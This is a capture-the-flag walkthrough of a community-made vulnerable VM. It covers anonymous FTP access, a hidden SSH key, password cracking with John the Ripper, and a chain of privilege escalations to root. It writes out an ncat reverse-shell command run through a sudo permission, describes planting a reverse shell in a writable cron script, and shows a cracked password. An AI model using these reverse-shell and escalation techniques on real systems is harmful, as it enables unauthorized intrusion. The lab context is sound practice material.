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Todays Walkthrough is about a CTF challenge made by a great guy named 
captaincrunchv1 on twitch. This challenge was made specifically for a streamer 
named B7H30 however Crunch has kindly shared this around.

Before i start the walkthrough there are some prerequisites to be noted.

I will assume you have completed the below:

Downloaded the box.

Started your own VM

Set your VM to bridged network. (We’ll need this for reverse shells later on)

Know how to use burpsuite if following my solution. (Intented solution also 
shown)

Let’s start!

Firstly we need to find the IP of the box. As we’re not working on a site such as THM 
where we get given the IP.

I run a quick nmap scan across my local network to find the machine.

nmap 192.168.0.0/24

As this is my local network i should know what most of the devices connected are. 
Most of them provide their domain names. Spotting out the new one was fairly easy.
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Next i’ll enumerate the IP further. Luckily we’ve already been given the open ports. 
I’ll expand this further by running an nmap scan with further options.

-sC = Use standard NMAP scripts. (The same as —script=default)

-sV = Scan for service version.

-p- = Scan all ports

Well that’s interesting. an FTP server on port 80. FTP is usually on port 21 and http 
is on 80.

I’ll start by enumerating the FTP server as there’s no need for us to brute force ssh 
at this point in time.

As you can see in the nmap response anonymous FTP user is enabled so i’ll login 
with that.
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NOTE: If we’re not using the default port 21 for FTP we just specify the port after our 
IP.

Anonymous username creds are anonymous:anonymous

Looking into the current directory it looks like we have a notes.txt file. We can 
download this with “get notes.txt”. This will download the file to your current directory 
on your local machine.

Before jumping out of FTP to read the file i want to see if i can move to other 
directories, see if there are hidden files, and see if there are any exploits for this 
version of FTP.

I quickly checked for exploits but came up short. The only thing i found was a denial 
of service (DOS) exploit which we don’t want to use. 

NOTE: searchsploit is a great tool for finding exploits. It’s basically an offline version 
of exploit.db and is super helpful for when you don’t have access to the internet.
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I’ll now check for hidden files etc.

That sure is interesting. ssh files are always nice. I wonder if i can access this 
directory and download the id_rsa file.

Doesn’t seem i can move around.

Let’s read that file now.
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BUT WAIT WHAT NOW? Good question. Did you see it? Maybe you missed it... 
Three dots you say?

That’s right the sneaky box owner added a folder in ftp named “...” alongside the 
usual . and .. it’s quite easy to miss.

Taking a look inside it seems we have an id_rsa file. WOO!

We get the file and take a look. Looks like an id_rsa file for real.
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So with this file we can use it to login to an account via ssh. The problem is what is 
the username?

Well reading over the notes.txt file again i noticed the word intern. I thought it can’t 
hurt to try.
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First i’ll make the id_rsa into better permissions

chmod 600 id_rsa

Well that didn’t work.

sometime later

Well seems the username was “ftp-user” Found this purely by spamming usernames 
and guessing. Not sure where this was meant to be found.



CRUNCH’S CTF No.2 - Promotion 8

Looks like we’re in the same folder.
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Let’s see how many other users there are and if i can access their directories

Wow, that’s a lot. Looks like i have the same permissions as intern so i’ll check that 
folder.

Looks like we have a txt file, an encrypted id_rsa, and potentially something in .ssh.
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Hi intern.txt

encrypted_id_rsa
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.ssh
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So our txt file basically tells us to use johntheripper to find the password.

Looks like john isn’t on the server so i’ll transfer it over to my machine

Now i’ll find and use ssh2john.
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I put the output into a file called hash and ran john.

Sweet we have the password for the encrypted id_rsa file.

I figured i’d try this for the user intern but it didn’t work. Turns out it was for bob.
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Running “sudo -l” looks like bob can run ncat as the user “it”

May i can abuse this to get a revshell as “it”.

I setup a listener on port 1234
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After checking my IP, on the box as bob i sent the command:

sudo -u it ncat 192.168.0.26 1234 -e /bin/bash

and got a revshell response come through. I’m now “IT”

I then upgraded my shell

I then moved into my users directory and had a look around.
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reading the note.txt file

Looks like there’s a script running. I’m curious to see if i have access to the script so 
i can then escalate again through another reverse shell. First i need to find it.

i took a look at the usual location “cat /etc/crontab” but nothing was there.

I then checked the /opt/ folder.

Maybe this is the script? Seems i can do what i want with it.
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Let’s read it first.

Simple copy paste essentially.

Now i’ll edit it with an ncat revshell like i used before and see what happens after a 
minute.

I adjusted the script and setup a listener

Basically got a response instantly.

Now i’m supervisor. Time to look around in that directory.

But first, upgrade shell.
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Another txt file. Let’s read it.

Looks like an md5 hash to me.
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Can confirm.

Password = airforceones

Now i’ll change to the ceo.

Looks like the boss and ceo are the same user or have the same permissions at 
least
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Because of this i can check the boss’ .ssh folder.

Looks like all readable too.



CRUNCH’S CTF No.2 - Promotion 21



CRUNCH’S CTF No.2 - Promotion 22

I’ll copy the files to my local machine and try and ssh in as boss.

I setup a server to collect the files. I then made a seperate folder for boss and 
downloaded the files.

I then tried to connect via ssh but the file permissions were incorrect

I changed the permissions and tried again.
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Sweet we’re in.

Notice the sudo as admin successful file. Yep let’s try “sudo -l”
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Permissions to do anything. This means we can just “sudo su” and become root.

Sweet we rooted the box.

Let’s see what’s around the machine as per the comment.

Finished?

Thanks again!

RyanCTF


